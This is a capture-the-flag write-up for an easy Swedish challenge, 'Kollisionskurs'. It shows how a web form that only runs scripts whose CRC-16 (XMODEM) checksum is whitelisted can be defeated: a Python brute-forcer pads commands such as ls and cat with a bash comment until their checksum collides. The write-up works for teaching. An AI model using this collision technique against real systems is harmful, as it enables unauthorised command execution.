Kollisionskurs

Category
Crypto Misc Web
Difficulty
Easy
Description
Kenneth verkar stressad av att Harriet är honom i hasorna och har känt sig tvungen att skynda på sina planer. Brådstörtat har han därför skickat iväg sin sond OPS (Oplanerat Påskyndad Solsond) mot solen för att börja undersöka förutsättningarna för en Dyson-sfär (eller Dyson-bälte, för Kenneth vill fortfarande kunna framstå som ödmjuk). Sonden var egentligen inte alls färdig än och interfacet för kommunikation slängdes ihop av en underbetald IT-konsult i sista stund innan sonden sköts iväg.
Hastverk är sällan en bra förutsättning för kvalité och stabilitet.
Harriet lyckas lokalisera systemet precis efter uppskjutningen, men hittar åtminstone lite kvarglömd data; två små shell-skript och en URL [Challenge URL removed]. Hjälp Harriet att komma åt systemet!
Har du problem att exekvera shell-skripten som Harriet hittade? Är du säker på att du har fått med alla tecken? Även de som “inte syns”? Prova med en ny rad på slutet?
Provided files
kort_status.sh
#!/bin/bash
/home/ops/status kort
full_status.sh
#!/bin/bash
/home/ops/status full
Solution
Understanding the Challenge Interface
We start by visiting the challenge URL, which is a command submission form with a multiline textarea.

If we submit the form with the following text:
#!/bin/bash
/home/ops/status full
We get the following message:
Resultat
Status:
- Omloppsbana runt solen uppnådd.
- Avstånd till solen: 150000000 km
- Tid för att nå omloppsbana: 695.65 minuter
Rapport:
- Bränslenivå: 0.00%
- Solens energinivå: 1360.22 enheter
- Temperaturen i omgivningen: 95.01 °C
- Status för huvudsystem: OK
NOTE: In the shell script, there is a \n
at the end of the last line so to get the command
working we need to press Enter
after the command so the cursor is on a new line, otherwise it
won’t work. (There is a hint in the description about this.)
Since we know that the command is a bash script, we could try to run another command to see if we
can get command execution working. If we try to submit ls
, we get the following error:
Ogiltigt skript
[00b3] matchar inte någon av de godkända checksummorna.
So we know that the command is being checked against a checksum. We can see that the checksum is
00b3
and we could probably assume that there is a list of allowed checksums. The website also
gives us this hint: Säkrad av Ward Christensen och John Byrns, © 1981
.
Identifying the Checksum Algorithm
After some searching, we find out that Ward Christensen made XMODEM
and that John Byrns made
XMODEM-CRC
. After some more searching, we find this Sample XMODEM-CRC
implementation:
int calcrc(char *ptr, int count)
{
int crc;
char i;
crc = 0;
while (--count >= 0)
{
crc = crc ^ (int) *ptr++ << 8;
i = 8;
do
{
if (crc & 0x8000)
crc = crc << 1 ^ 0x1021;
else
crc = crc << 1;
} while(--i);
}
return (crc);
}
We could try to convert this implementation to a python script and then compare the checksum of the ones we receive from the server with the ones we generate.
def calcrc(data):
if isinstance(data, str):
data = data.encode('utf-8')
crc = 0
for byte in data:
crc = crc ^ (byte << 8)
for _ in range(8):
if crc & 0x8000:
crc = ((crc << 1) ^ 0x1021) & 0xFFFF
else:
crc = (crc << 1) & 0xFFFF
return crc
# Command to generate checksum for
command = "ls"
checksum = calcrc(command)
print(f"Checksum: {checksum:04x}")
python3 script.py
Checksum: 00b3
Verifying the Checksum Implementation
Running this script for ls
gives us the checksum 00b3
, which is the same as the one we got from
the server. Since they are the same, we can assume that the checksum calculation is correct.
We can now generate the checksum for the commands that we know are valid.
#!/bin/bash\n/home/ops/status kort\n
gives us bbbb
and #!/bin/bash\n/home/ops/status full\n
gives us 3b75
.
Exploiting the Checksum Validation
Since we know that these checksums will be accepted, we can write a python script that tries to pad
the command with a comment (#
in bash) and random characters until the checksum is either bbbb
or 3b75
.
import random
import string
def calcrc(data):
if isinstance(data, str):
data = data.encode('utf-8')
crc = 0
for byte in data:
crc = crc ^ (byte << 8)
for _ in range(8):
if crc & 0x8000:
crc = ((crc << 1) ^ 0x1021) & 0xFFFF
else:
crc = (crc << 1) & 0xFFFF
return crc
def find_command_with_valid_checksum(cmd):
valid_checksums = ["bbbb", "3b75"]
while True:
# Generate random padding
padding = ''.join(random.choice(string.ascii_letters) for _ in range(random.randint(1, 20)))
padded_cmd = f"{cmd} #{padding}"
# Calculate checksum
checksum = calcrc(padded_cmd)
checksum_hex = f"{checksum:04x}"
if checksum_hex in valid_checksums:
return padded_cmd, checksum_hex
# Get command from user
command = input("Enter your command: ")
result, checksum = find_command_with_valid_checksum(command)
print(f"Command with checksum {checksum}: {result}")
When we run this script and enter ls
, we get the following output:
Enter your command: ls
Command with checksum 3b75: ls #NRJZVGKkmLXjdxAMZfox
If we submit this command to the server, we get the following output:
Resultat
bin
dev
home
lib
lib64
libexec
proc
usr
File System Exploration
We can see that we have access to the file system and we can now start exploring the files. In the
/home/ops
directory, we find a file called uppdragsparametrar.json
. If we check its contents we
find the flag.
Enter your command: cat /home/ops/uppdragsparametrar.json
Command with checksum 3b75: cat /home/ops/uppdragsparametrar.json #EdckLxkYCLcmyoFlCD
{
"sond": {
"namn": "O.P.S.",
"version": "1.0.0 BETA",
"tillverkare": "Kenneth Inc Ltd.",
"status": "aktiv",
"uppdrag": {
"typ": "solsystemsforskning",
"mål": "Utred förutsättningarna för etablerande av Dyson Sfär (eller Bälte)"
},
"specifikationer": {
"hastighet_km_s": 215625,
"max_avstånd_km": 150000000,
"startdatum": "2025-03-29",
"kraftkälla": "fusion",
"kommunikation": {
"typ": "radiovåg",
"frekvens_mhz": 500
}
},
"system": {
"sensorer": [
"solsensor",
"avståndsmätare",
"strålningdetektor",
"temperaturmätare"
],
"lagring_gb": 512,
"processor": "quad-core 2.5 GHz",
"flagga": "undut{Ett steg i taget tar dig till målet, oavsett avstånd. Förutsatt att du inte går åt fel håll.}"
},
"säkerhet": {
"brandvägg": "aktiverad",
"fjärrstyrning": "avstängd",
"låsskåp": true
},
"data": {
"rapporter": [
{
"datum": "2025-03-29 12:01:10",
"status": "ok",
"information": "Max hastighet uppnådd."
},
{
"datum": "2025-03-29 12:00:00",
"status": "ok",
"information": "Acceleration inledd. Uppdrag påbörjat."
},
{
"datum": "2025-03-28 23:42:56",
"status": "fel",
"information": "Strömavbrott i radiovågskommunikationen"
}
],
"analyser": [
{
"datum": "2025-03-29 11:59:59",
"resultat": "Strålningsnivåer normala."
},
{
"datum": "2025-03-29 11:53:21",
"resultat": "Alla system fungerar korrekt. Redo för avfärd."
}
]
}
}
}
The flag is
undut{Ett steg i taget tar dig till målet, oavsett avstånd. Förutsatt att du inte går åt fel håll.}
.
Conclusion
This challenge involved exploiting a weak checksum verification mechanism in a satellite control system. The system only accepted commands with pre-approved checksums, but we discovered it was possible to craft arbitrary commands that matched these checksums by randomly padding them with comment data until we hit a valid checksum. This enabled us to bypass the checksum validation and execute arbitrary commands on the system.